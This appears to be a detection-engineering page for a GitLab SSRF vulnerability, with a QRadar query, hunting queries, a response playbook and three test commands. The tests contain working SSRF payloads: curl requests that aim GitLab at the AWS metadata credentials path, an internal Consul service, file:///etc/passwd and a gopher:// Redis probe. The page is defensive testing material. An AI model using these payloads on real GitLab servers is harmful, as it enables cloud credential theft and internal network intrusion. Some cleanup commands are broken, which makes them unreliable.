Detect GitLab SSRF Exploitation (CVE-2021-22175) in IBM QRadar
Detects exploitation of CVE-2021-22175, a Server-Side Request Forgery (SSRF) vulnerability in GitLab. An attacker can craft requests that cause the GitLab server to make HTTP requests to internal or external resources, potentially exposing cloud metadata endpoints, internal services, or facilitating lateral movement. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
QRadar Detection Query
SELECT
sourceip,
destinationip,
URL,
"HTTP Method" AS http_method,
"HTTP Response Code" AS response_code,
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source,
starttime,
COUNT(*) OVER (PARTITION BY sourceip) AS request_count
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('GitLab', 'Apache HTTP Server', 'nginx', 'HAProxy')
AND (
URL IMATCHES '.*/(import|hook|webhook|integrations|api/v4/projects/\\d+/import).*'
OR URL IMATCHES '.*(url=http|import_url=|remote=http).*'
)
AND (
URL IMATCHES '.*(169\\.254\\.169\\.254|metadata\\.google\\.internal|localhost|127\\.0\\.0\\.1).*'
OR URL IMATCHES '.*(file://|gopher://|dict://|ftp://).*'
OR destinationip INCIDR '169.254.0.0/16'
OR destinationip INCIDR '10.0.0.0/8'
OR destinationip INCIDR '192.168.0.0/16'
)
AND DATEFORMAT(starttime, 'yyyy-MM-dd') >= DATEADD('day', -7, NOW())
GROUP BY sourceip, destinationip, URL, http_method, response_code, event_name, log_source, starttime
ORDER BY starttime DESC
LIMIT 500 QRadar AQL query identifying SSRF exploitation attempts against GitLab by correlating request URLs containing SSRF-indicative parameters with destination addresses in private or cloud metadata IP ranges.
Data Sources
Required Tables
False Positives & Tuning
- Automated GitLab backup processes that access internal storage endpoints
- GitLab Geo replication traffic between primary and secondary nodes on private networks
- Internal CI/CD pipeline runners accessing private artifact repositories
- Monitoring solutions that perform internal health checks through the GitLab host
Other platforms for CVE-2021-22175
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1GitLab SSRF via Project Import URL - AWS Metadata
Expected signal: Outbound HTTP GET to 169.254.169.254 from GitLab server process; network flow record showing connection to 169.254.0.0/16 from GitLab host; GitLab production.log entry with import_url containing metadata endpoint
- Test 2GitLab SSRF via Webhook Creation - Internal Service Probe
Expected signal: Network connection from GitLab server to 192.168.1.1:8500 visible in network flow data; GitLab web_hooks table entry with internal IP URL; web server access log showing webhook API POST with internal URL in body
- Test 3GitLab SSRF via Remote Mirror - Loopback File Access
Expected signal: GitLab application log entries showing file:// or gopher:// scheme in remote mirror URL; database record in remote_mirrors table with dangerous URL scheme; error log entries from GitLab attempting to process the invalid/dangerous URL
Response Playbook
Triage
- Identify the source IP of the suspicious request and determine if it originates from an authenticated user, anonymous access, or a known scanner/bot by correlating with GitLab authentication logs.
- Inspect the full URL and request body of the flagged request, focusing on the `url`, `import_url`, or `remote` parameter values to determine the intended SSRF target (cloud metadata, internal service, loopback).
- Check GitLab server-side logs (production.log, application.log) for evidence of outbound connections made by the GitLab process following the suspicious inbound request — look for unusual external/internal HTTP calls.
- Determine if the GitLab instance is internet-facing or accessible only from trusted networks, and assess whether the SSRF target could expose sensitive infrastructure (cloud metadata with IAM credentials, internal APIs, etc.).
Containment
- If active exploitation is confirmed, immediately block the source IP at the perimeter firewall and WAF, and invalidate any GitLab session tokens or API keys associated with the attacker's account.
- Apply egress filtering on the GitLab server host to restrict outbound connections to only known-good destinations, preventing further SSRF-based data exfiltration to internal services or metadata endpoints.
- Rotate cloud provider IAM credentials immediately if the SSRF target included a cloud metadata endpoint (e.g., 169.254.169.254), as these may have been harvested by the attacker.
Evidence Collection
- Export GitLab production.log, nginx/apache access logs, and application.log covering the time window of the attack, preserving original timestamps and log integrity via hash (SHA-256).
- Capture network flow data (NetFlow/IPFIX) from the GitLab host for the attack window, focusing on outbound connections to internal RFC1918 ranges or cloud metadata IPs that occurred shortly after the inbound SSRF request.
- Collect GitLab audit log events (Admin Area > Monitoring > Audit Events) for the affected user account to identify any privilege escalation, repository access, or configuration changes made during or after the attack.
Escalation Criteria
- !Escalate immediately if SSRF successfully reached a cloud metadata endpoint and response data (IAM tokens, instance identity) was returned — treat as a credential compromise incident requiring cloud security team involvement.
- !Escalate if the SSRF was used to pivot to internal services (internal APIs, databases, secret managers) or if evidence exists that the attacker used harvested credentials to access additional systems.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
GitLab production.log entries showing outbound HTTP requests initiated by the Sidekiq or Puma process to internal/metadata IPs - >
Web server access logs (nginx/apache) with full URI including query string for the targeted import/webhook/integration endpoints - >
Network flow records showing outbound TCP connections from the GitLab server to 169.254.169.254 or RFC1918 addresses - >
GitLab database records in the `remote_mirrors` or `web_hooks` tables showing attacker-supplied SSRF URLs - >
Cloud provider access logs (AWS CloudTrail, GCP Audit Logs) showing IAM credential usage from the GitLab host's IP if metadata was successfully accessed
Tuning Guidance
Start by allowlisting known-good GitLab import sources (e.g., GitHub, Bitbucket public IPs) to reduce false positives from legitimate repository mirroring. Tune the RFC1918 detection to exclude your organization's approved internal GitLab Geo replication peer IPs. If GitLab Runners legitimately access internal artifact repositories, extract those IP ranges and suppress them. Raise confidence to 'high' once baseline legitimate import URL patterns are established. Consider setting the detection threshold to fire on the first occurrence (count >= 1) for cloud metadata endpoint targets (169.254.169.254), but require count >= 3 for generic RFC1918 targets to reduce noise from misconfigured webhooks.
Hunting Queries
Retroactive 30-day hunt for SSRF exploitation attempts against GitLab endpoints, searching for URL-encoded payloads targeting internal infrastructure across historical web and proxy logs.
AzureDiagnostics
| where Category == "ApplicationGatewayAccessLog"
| where TimeGenerated > ago(30d)
| where requestUri_s matches regex @"/(import|hook|webhook|integrations)"
| extend DecodedUri = url_decode(requestUri_s)
| where DecodedUri matches regex @"(169\.254|10\.|192\.168|172\.(1[6-9]|2\d|3[01])\.|localhost|127\.0|file://|gopher://)"
| summarize UniqueTargets=dcount(DecodedUri), Requests=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by SourceIP=clientIp_s
| order by Requests desc index=web OR index=gitlab earliest=-30d
(sourcetype=access_combined OR sourcetype=nginx:access)
uri_path IN ("*/import*", "*/hook*", "*/webhook*", "*/integrations*")
| urldecode(uri_query) as decoded_query
| where match(decoded_query, "(169\.254\.169\.254|metadata\.google\.internal|localhost|127\.0\.0\.1|file://|gopher://|::1)")
| bin _time span=1h
| stats count AS hits, dc(src_ip) AS unique_sources, values(decoded_query) AS ssrf_payloads BY _time
| sort -hits Atomic Red Team Tests
Simulates CVE-2021-22175 exploitation by creating a GitLab project import targeting the AWS EC2 metadata endpoint to test detection of cloud credential harvesting via SSRF.
Command
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects' \
-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "ssrf-test-aws", "import_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
| python3 -m json.tool Cleanup
curl -s -X DELETE 'http://GITLAB_HOST/api/v4/projects/$(curl -s http://GITLAB_HOST/api/v4/projects?search=ssrf-test-aws -H "PRIVATE-TOKEN: ATTACKER_API_TOKEN" | python3 -c "import sys,json; print(json.load(sys.stdin)[0][\"id\"])")-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' Expected Telemetry
Outbound HTTP GET to 169.254.169.254 from GitLab server process; network flow record showing connection to 169.254.0.0/16 from GitLab host; GitLab production.log entry with import_url containing metadata endpoint
Expected Detection
Alert fires on SSRF import request with AWS metadata endpoint target; cloud metadata access attempt logged in network telemetry
Creates a GitLab project webhook pointing to an internal service IP to test SSRF detection through the webhook delivery mechanism, simulating internal network reconnaissance.
Command
# First create a project
PROJECT_ID=$(curl -s -X POST 'http://GITLAB_HOST/api/v4/projects' \
-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "webhook-ssrf-test"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Create webhook targeting internal service
curl -s -X POST "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}/hooks" \
-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"url": "http://192.168.1.1:8500/v1/agent/self", "push_events": true}'
# Trigger the webhook via a test push event
curl -s -X POST "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}/hooks/${HOOK_ID}/test" \
-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' Cleanup
curl -s -X DELETE "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}" -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' Expected Telemetry
Network connection from GitLab server to 192.168.1.1:8500 visible in network flow data; GitLab web_hooks table entry with internal IP URL; web server access log showing webhook API POST with internal URL in body
Expected Detection
SSRF detection via network egress monitoring showing GitLab process initiating connection to RFC1918 address; webhook creation event with internal IP flagged in audit log analysis
Attempts to configure a GitLab remote mirror using the file:// scheme to access local filesystem content, testing detection of dangerous URL scheme abuse in SSRF context.
Command
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors' \
-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"url": "file:///etc/passwd", "enabled": true}' | python3 -m json.tool
# Alternative: attempt with gopher scheme for internal service interaction
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors' \
-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"url": "gopher://127.0.0.1:6379/_INFO%0D%0A", "enabled": true}' | python3 -m json.tool Cleanup
curl -s -X DELETE 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors/MIRROR_ID' -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' Expected Telemetry
GitLab application log entries showing file:// or gopher:// scheme in remote mirror URL; database record in remote_mirrors table with dangerous URL scheme; error log entries from GitLab attempting to process the invalid/dangerous URL
Expected Detection
Detection of dangerous URL scheme (file://, gopher://) in GitLab API request parameters; alert on remote mirror creation with non-HTTP/HTTPS URL scheme